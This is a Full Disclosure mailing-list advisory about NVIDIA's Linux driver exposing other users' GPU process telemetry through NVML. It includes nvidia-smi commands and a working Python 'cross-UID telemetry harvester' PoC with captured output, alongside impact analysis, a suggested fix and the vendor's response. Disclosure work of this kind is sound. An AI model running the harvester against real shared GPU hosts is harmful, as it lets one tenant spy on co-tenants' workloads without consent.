Full Disclosure mailing list archives
NVIDIA Linux GPU driver: cross-UID GPU process telemetry via NVML, no CVE (vendor: expected behavior)
From: Abhinav Agarwal <abhinavagarwal1996 () gmail com>
Date: Sat, 22 Aug 2026 12:37:52 -0700
NVIDIA Linux GPU driver - cross-UID GPU process telemetry disclosure via NVML ============================================================================ On a multi-user Linux GPU host where mutually untrusted users can open the same /dev/nvidia* devices - the driver's default mode is 0666 - an unprivileged user can enumerate another user's GPU processes and per-process GPU telemetry through standard NVML management APIs. NVML directly returned the foreign PID, the per-process GPU-memory allocation and the SM utilization; nvidia-smi additionally displayed the process path, but the corresponding direct nvmlSystemGetProcessName() call was not captured. Measured on one configuration: A100, MIG off, bare metal, two local UIDs. No root, no gpu/video/render group membership, no capabilities, no CUDA context of the attacker's own, no performance counters, no injected traffic, no race. The attacker learns, for processes belonging to other users: PID, per-process GPU memory allocation, per-process SM utilization, and - via nvidia-smi - the binary path. Read-only workload metadata; no GPU memory contents are read. NVIDIA reviewed the finding and determined it is expected behavior. Affected: NVIDIA Linux GPU driver, NVML management plane Tested: 595.71.05-open; core channels also reproduced on 565.57.01-open Hardware: A100-SXM4-80GB x4, NV4 full mesh, no NVSwitch, MIG off Platform: Ubuntu 24.04, kernel 6.8.0-106, CUDA toolkit 12.9 (driver-reported runtime 13.2) CWE: CWE-200 (exposure of information to an unauthorized actor), CWE-862 (missing authorization) Status: Closed by NVIDIA as expected behavior. No fix. Public disclosure authorized by NVIDIA PSIRT 2026-08-20. CVE: none assigned Ref: Intigriti NVIDIA-W5AB0FZR Companion: "NVIDIA Linux GPU driver: unprivileged Xid 31 MMU fault via undocumented peer-teardown ordering" - same node, same driver, same 0666 precondition Root Cause ---------- Two independent facts compound. (a) /dev/nvidia* is mode 0666 by driver default. This is set by the kernel module, not by a site udev rule. # grep -E 'ModifyDeviceFiles|DeviceFileMode|RmProfilingAdminOnly' /proc/driver/nvidia/params ModifyDeviceFiles: 1 DeviceFileMode: 438 RmProfilingAdminOnly: 1 438 decimal is 0666 octal. ModifyDeviceFiles: 1 means the module rewrites existing device files to match its own defaults, so an administrator who tightens the mode out-of-band can have it reverted on module reload. The vendor sources agree: open-gpu-kernel-modules carries NV_DEFINE_REG_ENTRY(__NV_DEVICE_FILE_MODE, 0666) in kernel-open/nvidia/nv-reg.h with the comment "The default mode is 0666 (octal, rw-rw-rw-)", and the driver README "Device files" section documents UID 0 / GID 0 / Mode 0666 as the default, adding "Existing device files are changed if their attributes don't match these defaults." (b) NVML management APIs apply no UID, cgroup, or capability check to a caller holding that file descriptor. Any opener receives the node-wide management view. +------------------+ +-------------------+ | victim uid 1000 | | attacker uid 1011 | | CUDA workload | | no groups, Cap=0 | +--------+---------+ +---------+---------+ | | | open(2) /dev/nvidia* (0666) | open(2) /dev/nvidia* (0666) v v +-----------------------------------------------------------------------+ | nvidia.ko -> NVML management plane | | | | nvmlDeviceGetComputeRunningProcesses() -> ALL pids, ALL uids | | nvmlDeviceGetProcessUtilization() -> ALL pids, ALL uids | | ^ | | +--- no ownership check anywhere on this path| +-----------------------------------------------------------------------+ NVML already has the concept of privilege-gating this exact call - just not in ordinary shared-GPU mode. From nvml.h, on both nvmlDeviceGetComputeRunningProcesses_v3 and nvmlDeviceGetMPSComputeRunningProcesses_v3: "In MIG mode, if device handle is provided, the API returns aggregate information, only if the caller has appropriate privileges." So under MIG, process enumeration through the physical-device handle is privilege-gated. Outside MIG there is no corresponding UID ownership boundary. Relatedly, nvmlDeviceGetComputeRunningProcesses_v3 documents NVML_ERROR_NO_PERMISSION in its return list and does not return it here; nvmlDeviceGetProcessUtilization and nvmlDeviceGetMPSComputeRunningProcesses_v3 do not document that error at all. Note RmProfilingAdminOnly: 1 in the same params output. The CUPTI performance-counter plane IS gated behind CAP_SYS_ADMIN on this exact node - that gate was added as the fix for CVE-2018-6260. The NVML per-process management plane received no equivalent gate. That asymmetry is the finding. Attacker Prerequisites ---------------------- A shell account on the node. The observer used for all captured runs: uid=1011(victimuser) gid=1011(victimuser) groups=1011(victimuser) CapInh: 0000000000000000 -> NONE CapPrm: 0000000000000000 -> NONE CapEff: 0000000000000000 -> NONE CapAmb: 0000000000000000 -> NONE CapBnd: 000001ffffffffff No sudo. Not in sudo/wheel/admin/docker/video/gpu/render. No Docker socket. Cannot load kernel modules. Cannot ptrace other users' processes. Proof of Concept ---------------- Victim, uid 1000 - any long-running CUDA workload. The captured runs used nccl-tests all_reduce_perf on GPUs 2 and 3. Anything holding a CUDA context works; this needs only pytorch: python3 -c "import torch,time x=torch.randn(8192,8192,device='cuda') while True: x=x@x.clamp(-1,1); torch.cuda.synchronize(); time.sleep(0.01)" Attacker, uid 1011, via the shipped CLI: nvidia-smi --query-compute-apps=pid,process_name,used_gpu_memory --format=csv,noheader nvidia-smi pmon -c 3 nvidia-smi nvlink -gt d That first command, run by an unprivileged user with no group membership, is the entire exploit. Everything below is the same read straight through NVML. Captured output as uid 1011 against the uid 1000 victim: pid, process_name, used_gpu_memory [MiB], gpu_uuid 77977, /usr/local/bin/all_reduce_perf, 2288 MiB, GPU-7d4392e5-96fd-7c8d-5dd4-113663cc7278 77977, /usr/local/bin/all_reduce_perf, 2288 MiB, GPU-fe44d319-939f-d747-de55-6802405cad8d Full PoC code, harnesses and raw evidence for both findings: <https://www.google.com/url?q=https://github.com/abhinavagarwal07/nvidia-gpu-security-poc&source=gmail&ust=1787513712074000&sa=E> Straight through NVML with no nvidia-smi involved. This is the complete exploit: #!/usr/bin/env python3 # unprivileged cross-UID GPU telemetry harvester # run as any local user: python3 harvest.py # pip install nvidia-ml-py (provides the `pynvml` module; the standalone # `pynvml` PyPI package is a deprecated shim as of v12) import os, pwd, pynvml def owner(pid): try: return os.stat("/proc/%d" % pid).st_uid except: return None def exe(pid): # Tries NVML first. NOTE: this direct call was not verified cross-UID here - # see the note below the output. Falls back to cmdline, never to exe. try: n = pynvml.nvmlSystemGetProcessName(pid) return n.decode() if isinstance(n, bytes) else n except Exception: # /proc/<pid>/cmdline is world-readable - this is how ps(1) shows other # users' command lines. /proc/<pid>/exe is NOT: readlink on it needs # PTRACE_MODE_READ, which this attacker does not have. try: return open("/proc/%d/cmdline" % pid,"rb").read().split(b"\0")[0].decode() except: return "?" def owner_name(u): try: return pwd.getpwuid(u).pw_name except KeyError: return str(u) # no passwd entry: LDAP, containers pynvml.nvmlInit() me = os.getuid() found = 0 for i in range(pynvml.nvmlDeviceGetCount()): h = pynvml.nvmlDeviceGetHandleByIndex(i) # cross-UID process table + per-process GPU memory for p in pynvml.nvmlDeviceGetComputeRunningProcesses(h): u = owner(p.pid) if u is not None and u != me: found += 1 print("[CROSS-UID] gpu=%d pid=%d uid=%d(%s) mem=%dMiB exe=%s" % ( i, p.pid, u, owner_name(u), (p.usedGpuMemory or 0) >> 20, exe(p.pid))) # cross-UID per-process SM / memory-controller utilization. # arg 2 is lastSeenTimeStamp in microseconds; only samples newer than it are # returned, so a small constant drains everything the driver still buffers. try: for pu in pynvml.nvmlDeviceGetProcessUtilization(h, 1000000): u = owner(pu.pid) if u is not None and u != me: print("[CROSS-UID-UTIL] gpu=%d pid=%d uid=%d sm=%d%% mem=%d%%" % ( i, pu.pid, u, pu.smUtil, pu.memUtil)) except pynvml.NVMLError as e: # NVML_ERROR_NOT_FOUND here means the driver's sample buffer is empty, # NOT that the call is gated. Poll for a few seconds and retry. print(" nvmlDeviceGetProcessUtilization -> %s" % e) # device-global telemetry, no gate at all print("[DEV] gpu=%d power=%.1fW util=%d%% mem_used=%dMiB" % ( i, pynvml.nvmlDeviceGetPowerUsage(h)/1000.0, pynvml.nvmlDeviceGetUtilizationRates(h).gpu, pynvml.nvmlDeviceGetMemoryInfo(h).used >> 20)) if not found: print("no cross-UID GPU processes visible (is a victim workload running?)") Output: [CROSS-UID] gpu=2 pid=77977 uid=1000(cc) mem=2288MiB exe=/usr/local/bin/all_reduce_perf [CROSS-UID] gpu=3 pid=77977 uid=1000(cc) mem=2288MiB exe=/usr/local/bin/all_reduce_perf [CROSS-UID-UTIL] gpu=2 pid=77977 uid=1000 sm=97% mem=41% NVML supplies the PID and the GPU memory figure. The binary path came from nvidia-smi --query-compute-apps=process_name, which is NVML-backed and returned the full path /usr/local/bin/all_reduce_perf to the unprivileged observer - that output is captured. The direct call, nvmlSystemGetProcessName(), is what the PoC above uses and it is NOT something I captured cross-UID; NVML documents NVML_ERROR_NO_PERMISSION for it, so verify it on your own host rather than taking it from me. The captured harness resolved names through /proc. Note that /proc/<pid>/exe is not readable cross-UID, so if you fall back to procfs use /proc/<pid>/cmdline, not exe. The only field procfs is needed for is the owning UID, via stat() on /proc/<pid>. Polling nvmlDeviceGetProcessUtilization in a loop yields a per-victim SM utilization time series. What that supports on the evidence here is busy-versus-idle and job start/stop. Finer structure - step cadence, phase boundaries - is plausible but was not demonstrated, and I do not claim it. Results: 5/5 positive sessions with all seven machine-scored success criteria passing, and 2/2 negative controls (no victim workload, no cross-UID records) confirming the signal tracks the victim. For every compute-app row root could see, the unprivileged observer saw a matching row - same PID, same binary name, same GPU - in all five positive sessions. That comparison is field-level (whitespace and row order normalized, process name compared by basename), not a byte diff. All channels leak with GPU accounting mode disabled, which is the fresh default, so this is not a case of an administrator having enabled accounting. Telemetry Channels ------------------ Channel NVML API CLI Result ----------------------------- --------------------------------------- ---------------------- -------------------------- Process PID nvmlDeviceGetComputeRunningProcesses --query-compute-apps LEAKS (redundant with ps) Binary path nvidia-smi's NVML-backed query --query-compute-apps LEAKS (captured); direct (nvmlSystemGetProcessName NOT captured) NVML call unverified Per-process GPU memory nvmlDeviceGetComputeRunningProcesses --query-compute-apps LEAKS - GPU-specific Per-process SM utilization nvmlDeviceGetProcessUtilization pmon LEAKS - GPU-specific NVLink Tx/Rx counters NVML_ERROR_NOT_SUPPORTED on this driver nvlink -gt d LEAKS via CLI - prior art NVLink topology / remote PCI nvmlDeviceGetNvLinkRemotePciInfo nvlink LEAKS Device power/clocks/util nvmlDeviceGetPowerUsage et al. -q LEAKS (device-global) Impact ------ A low-privileged tenant on a shared HPC or AI node passively monitors co-tenants in real time: who is running GPU work, which binary, the GPU memory footprint (a model-size proxy), the SM utilization timeline (training and idle cadence, step rate, job boundaries), and NVLink pair activity (distributed job topology). No computation content is read - no weights, activations, input data, or GPU memory contents. Real-World Exposure ------------------- The precondition - multiple mutually-untrusting Unix UIDs sharing one GPU host - is not an edge case. NERSC's Perlmutter (6,144 A100s) runs an explicit "shared" QOS that allocates fractional GPU, CPU and RAM per job on a node. EuroHPC LUMI's small-g partitions state that a job "may share the node with other jobs". Multi-tenant JupyterHub on GPU nodes is a pattern documented by cloud vendors. Container-based GPU rental is a partial case, and I want to be exact about which part. Linux device-node permission bits are enforced against the host inode regardless of which container namespace calls open(2), so a co-resident container can open the device and read the management plane. But the per-process channels - the novel part of this finding - were empty inside a default-PID-namespace container in my own testing. What a co-resident container gets by default is device-scoped telemetry: NVLink counters identifying the active GPU pair, power, clocks, utilization. Full per-process attribution needs --pid=host or bare metal. I did not test two containers sharing one physical GPU, which is the configuration that would matter most here, so I make no claim about it. Kubernetes GPU sharing compounds this. NVIDIA's own GPU Operator documentation states that with time-slicing "there is no memory or fault-isolation between replicas". GKE exposes the same feature, with an admin-configured container count per physical GPU - and states plainly, in its own Limitations section, "To avoid security issues, only deploy workloads that are in the same trust boundary to GPU time-sharing." That caveat is honest and worth repeating: the argument here is not that GKE promises isolation it fails to deliver, it is that the driver supplies no floor beneath the operator's policy. Slurm makes the same trade explicitly. Its GRES documentation says sharding "does not fence the processes running on the GPU, it only allows the GPU to be shared", and cgroup.conf's ConstrainDevices defaults to no. A default NVIDIA install and a default Slurm cgroup configuration compose into no GPU device isolation; hardening is an explicit opt-in. Device cgroups cannot fix any of this. When two tenants are intentionally assigned the same GPU, both must be able to open the same device node - that is the feature. The only boundary that would separate them is owner-filtering inside the management plane. One nuance that cuts against a naive MPS reading: NVIDIA documents that "All MPS client behavior will be attributed to the MPS server process by system monitoring and accounting tools (e.g. nvidia-smi, NVML API)", so the ordinary process query collapses MPS clients into the server row. Whether nvmlDeviceGetMPSComputeRunningProcesses_v3 returns per-client records to an unprivileged caller is untested here. What the metadata is worth: process table, binary path, per-process GPU memory and SM utilization is the input class used in published DNN architecture and model-extraction work - for example InferNet (ACM TOPS), which reports fingerprinting DNN architectures from GPU side-channel telemetry. I have not verified which specific channels it consumes. More directly on point, TIMESLICE-SANDWICH (USENIX Security 2026) recovers neural-network model identity at 94.40% F1 and does website fingerprinting at 92.84% top-1 - by INFERRING GPU utilization patterns indirectly from CUDA runtime API timing. Those numbers are theirs and are not claimed to transfer to this channel. The relevance is the direction of travel: if indirectly inferred utilization already supports that, per-victim utilization handed over directly by the driver warrants scrutiny. Not affected: dedicated cloud GPU VM instances (one tenant, one kernel, no shared device node), single-user workstations, and node-exclusive HPC allocations. MIG is not on this list - see "What Is Not Claimed" below. Not established: what fraction of GPU-hours actually run in co-resident cross-user mode. No public figure exists for that. What Is Not Claimed ------------------- - PID and binary path are largely redundant with ps(1) on any node where /proc is not hidepid-mounted. The GPU-specific residue with no non-GPU equivalent is the per-process GPU memory and per-process SM utilization attribution. - The NVLink channels are corroboration only, not novelty. Counter-based activity inference is prior art - NVBleed (arXiv:2503.17847) and "Beyond the Bridge" (IEEE SEED 2024, arXiv:2404.03877). The demonstrated counter path is the nvidia-smi nvlink -gt d CLI, not nvmlDeviceGetNvLinkUtilizationCounter, which returned NVML_ERROR_NOT_SUPPORTED on 595.71.05-open; nvmlDeviceGetNvLinkRemotePciInfo did work and exposes the peer map. A pre-registered blind experiment gave a coarse idle-versus-active separation with zero overlap and a pre-registered 3-class accuracy of 66.7% against 33.3% chance. No fine-grained inference claim is made. - MIG was off. Cross-MIG-instance process-table visibility is UNKNOWN and is claimed neither way. NVIDIA's MIG User Guide states "NVML (and nvidia-smi) does not support attribution of utilization metrics to MIG devices", so MIG should not be assumed to solve this. - Same-physical-GPU container co-tenancy is untested. Measured with disjoint GPU assignment: Container config Process identity NVLink + device state -------------------------------------- ----------------------- --------------------- bare metal LEAKS cross-UID LEAKS (all 4 GPUs) --gpus all (default PID ns) masked by PID namespace LEAKS (all 4 GPUs) --gpus all --pid=host LEAKS LEAKS (all 4 GPUs) --gpus '"device=0"', victim on GPU2/3 BLOCKED BLOCKED no --gpus n/a BLOCKED "masked by PID namespace" means the per-process channels are empty, not merely unresolvable: inside a default-PID-namespace container, --query-compute-apps and pmon returned no rows at all. What still crosses that boundary is per-device telemetry - NVLink Tx/Rx counters, power, clocks, device-wide utilization - which identifies the active GPU pair but attributes nothing to a process. Per-process attribution requires bare metal or --pid=host. - Behaviour under /proc mounted hidepid=2 was not tested. The prediction is that UID attribution fails while the NVML-sourced fields survive, which would make the GPU-specific residue larger on hardened nodes rather than smaller. That is a prediction, not a result; poc/hidepid_test.sh in the repo exists to settle it. - Read-only. No write, integrity, or availability impact. - This is a direct API read, not a timing or contention side channel. Severity -------- NVIDIA's position is that this is expected behavior, so on their view there is no score. Mine: 3.3 AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N what the demonstrated exposure supports 5.5 AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N if the aggregate is credited as high confidentiality 3.3 is the defensible number. 5.5 treats process identity plus resource attribution as C:H, which is arguable in both directions; it is the exact NVD vector of CVE-2018-6260. I previously floated an S:C ceiling and have dropped it - reading across a UID boundary does not by itself make CVSS Scope Changed. Precedent --------- CVE-2018-6260 ("Rendered Insecure: GPU Side Channel Attacks are Practical") is the same structural class: an unprivileged local user reads GPU-mediated information about another workload. NVIDIA fixed it in-driver with a capability gate - NVreg_RestrictProfilingToAdminUsers on Linux, RmProfilingAdminOnly on Windows - restricting performance-counter access to CAP_SYS_ADMIN, shipped in the 410.x series. CVE-2021-1056, CWE-276: "does not completely honor operating system file system permissions to provide GPU device-level isolation, which may lead to denial of service or information disclosure." NVD scored CVE-2018-6260 5.5; NVIDIA's own CNA score for it was 2.2. For CVE-2021-1056, NVD 7.1 against NVIDIA's 5.3. Cited for the fix obligation and the gate design, not for severity. The counter plane received an ownership gate. The NVML per-process management plane did not. Suggested Fix ------------- Extend the RmProfilingAdminOnly authorization model to the NVML management plane: owner-filter nvmlDeviceGetComputeRunningProcesses and nvmlDeviceGetProcessUtilization so that an unprivileged caller sees only its own processes unless it holds CAP_SYS_ADMIN or an explicitly delegated monitoring role. Declined. Vendor Response --------------- NVIDIA had its internal product team review the finding and classified it as expected behavior, declining to treat it as a vulnerability. NVIDIA PSIRT, 2026-08-20: "We had our internal product team review your finding directly and we consider your report as expected behavior. We are also making a one-time exception and authorizing you to share your findings publicly, if you wish." The report was never forwarded to NVIDIA by Intigriti. It was closed Informative, disclosure permission was refused, and no embargo period or path to obtaining permission was specified - an indefinite bar on publication for a report the vendor had not seen. Intigriti team, 2026-06-23: "As the report will not be forwarded to Nvidia at this time, disclosure is not permitted on their end, and there is currently no specified embargo period before permission is granted." NVIDIA reviewed the finding and authorized publication within three business days of being contacted directly. Timeline -------- 2026-06-08 Reported via Intigriti (NVIDIA-W5AB0FZR) 2026-06-15 Intigriti team requests a video PoC 2026-06-21 Video PoC and minimal triage bundle provided 2026-06-22 Intigriti closes the report Informative: "we do not have sufficient technical details to reproduce the finding on our end" 2026-06-22 I state intent to publish 2026-06-22 Intigriti: disclosure not permitted absent approval from both platform and vendor 2026-06-23 I request approval or a concrete embargo timeline 2026-06-23 Intigriti: report will not be forwarded to NVIDIA, disclosure is not permitted, and there is indefinite embargo 2026-07-08 Report archived 2026-08-17 Direct mail to psirt () nvidia com raising the CVD concern 2026-08-20 NVIDIA PSIRT: internal product team reviewed the finding directly, considers it expected behavior, and authorizes public disclosure as a one-time exception 2026-08-22 Public disclosure All testing was performed on researcher-controlled accounts and workloads on an authorized research cluster lease. PoC:https://github.com/abhinavagarwal07/nvidia-gpu-security-poc Abhinav Agarwal _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Current thread:
- NVIDIA Linux GPU driver: cross-UID GPU process telemetry via NVML, no CVE (vendor: expected behavior) Abhinav Agarwal (Aug 26)
